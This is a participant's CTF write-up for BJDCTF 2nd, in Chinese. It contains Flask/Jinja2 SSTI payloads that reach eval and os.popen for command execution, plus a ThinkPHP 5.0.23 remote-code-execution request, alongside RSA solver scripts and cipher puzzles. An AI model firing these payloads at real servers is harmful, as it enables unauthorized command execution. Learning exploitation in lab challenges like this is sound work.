BJDCTF-WP

BJDCTF 2nd WP

引言

  • 由于在备考,所以没多少时间做,并且也实属是菜,所以就做了几个题目,这里就分享一下啦Hi~ o( ̄▽ ̄)ブ

[BJDCTF 2nd]fake google

知识点:SSTI

  • 这个最近练得比较多了,所以是做出来的第一个Web,考的还是flask框架的ssti,并且没做太多的现在,就是在最后读取flag的时候稍加了一些套路,要base64一下读取文件
  • 我是利用的warnings.catch_warnings进行的eval命令执行,最常用的 好像没有找到,所以就找了这个
  • 先还是使用{{[].__class__.__mro__[1].__subclasses__()}}获取基本类的子类,然后直接ctrl+F查找可以使用的方法
    BJD
    发现存在,由于发现不能直接使用index()查找索引,所以复制出来获取其索引,发现是第169,然后使用
    {{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
    发现成功执行
    BJD
  • 剩下就是命令执行,遍历目录,读取flag,这里要说一下的就是,读取flag时,对读取的文件内容有所过滤,所以要base64一下读取
    {{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("echo cat /flag | base64").read()')}}
    BJD
  • 最后解码一下即可得到flag

[BJDCTF 2nd]old-hack

知识点:ThinkPHP5.0.23 远程RCE

  • 这题首页就已经有了提示,显示的Powered by THINKPHP5,直接联想到tp5的漏洞,直接搜exp打即可
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

成功执行,剩下直接读取根目录下的flag即可
BJD

[BJDCTF 2nd]老文盲了

知识点:脑洞

  • 这题实属时坑加脑洞,直接将文字搜索一下,读一下拼音就发现了端倪,最后交flag的时候注意删掉大括号这几个字
    BJD
    flag:BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}

[BJDCTF 2nd]cat_flag

知识点:二进制转字符串

  • 一开始没反应过来,后来试着把有鸡腿的记为0,没鸡腿的记为1,化成01二进制字符串,再转ASCII码即可

[BJDCTF 2nd]灵能精通-y1ng

知识点:变种猪圈密码

  • 变种猪圈密码,找一下码表对着改一下就好了
    BJD

[BJDCTF 2nd]燕言燕语-y1ng

知识点: 十六进制,维吉尼亚密码

  • 先十六进制转字符串,然后再维吉尼亚密码解密,密钥就是yanzi
    BJD

[BJDCTF 2nd]Y1nglish-y1ng

知识点:替换密码

  • 直接在线解密,发现flag不对,最后出题人放出hint,说要把错误单词改正后提交,遂发现最后一个单词应该是 Cr4ck
    BJD

[BJDCTF 2nd]rsa0

知识点:基本RSA套路,初中数学

  • 等量代换,将已知的p+q,p-q转换到我们所需要的phi和n,然后求逆元d,最后再求解m即可
  • exp:
# -*- coding:utf-8 -*-
# Author : Konmu
# rsa0

import gmpy2
from Crypto.Util.number import *
#a=p+q b=p-q
a=17162353559144679042138764130392599487619616736304807356650753313511074468547740997240459020330637407607018451370757739841162760390979956823381951345720928
b=2157944102411263994709908806124613607462762078172843352748093273937884682449698667594757978254948952712563313245682739933249064978139449404711197573108846
c=45301241949589301995180160804303973330820405560962297548184980689249607707456658111351805771592837881785351326731109851752124118781776273507359216672384415019593182742168977641581393719509221130849808495779942628017133428896872236441436256500653209906562574669595813780702154561337014309513479940699909759454
e=13881611

n=(a**2-b**2) //4

phi=n-a+1

d=int(gmpy2.invert(e,phi))

m=pow(c,d,n)

print(long_to_bytes(m))

[BJDCTF 2nd]rsa1

知识点:同上

  • 仍然是等量代换
  • exp:
# -*- coding:utf-8 -*-
# Author : Konmu
# rsa1

from gmpy2 import iroot,invert
from Crypto.Util.number import *

#p**2+q**2=a
a=230282632694523225937051344416173208141003770756289612804807217657804068791542651564838194212104676551997764018460879226166807005433546876007288091996196539309119708193341213288590014759087592722749150747027103386853090111834756105787095305838589646731702172385691220203268855509181738201501713929481838642498
#p-q=b
b=-4900116095386312405990409603053751102044890401512310635193158977344509279780138297206939893571426574257123980641762453196916366832983541826491201092272814
c=57305478781873469701906886706515374864936174293678370148185292603092343152208523838764818066602190494238364695329068029056956741411335604426893391963871703874286120587046383783936896139251516197205626486457338063805605931966769630762887820549045989322171833789694041829203743398401975653722227935420397574254
e=8671291

n=(b**2-a)//(-2)
temp=2*n+a
temp_1=iroot(temp,2)
#temp_1=20893877754997573728203567845738001284961182394065350971204621396499968057878195283639697317876340959595444095705767445958979789899779232673349184190305080
print(temp_1)
phi=n-temp_1+1
d=int(invert(e,phi))
m=pow(c,d,n)

print(long_to_bytes(m))

总结

  • 原本打算借这次机会练一下web,却发现自己还是tcl,后续等官方wp出来后再去学习一下web的一些套路

猜你喜欢

转载自www.cnblogs.com/Konmu/p/12549038.html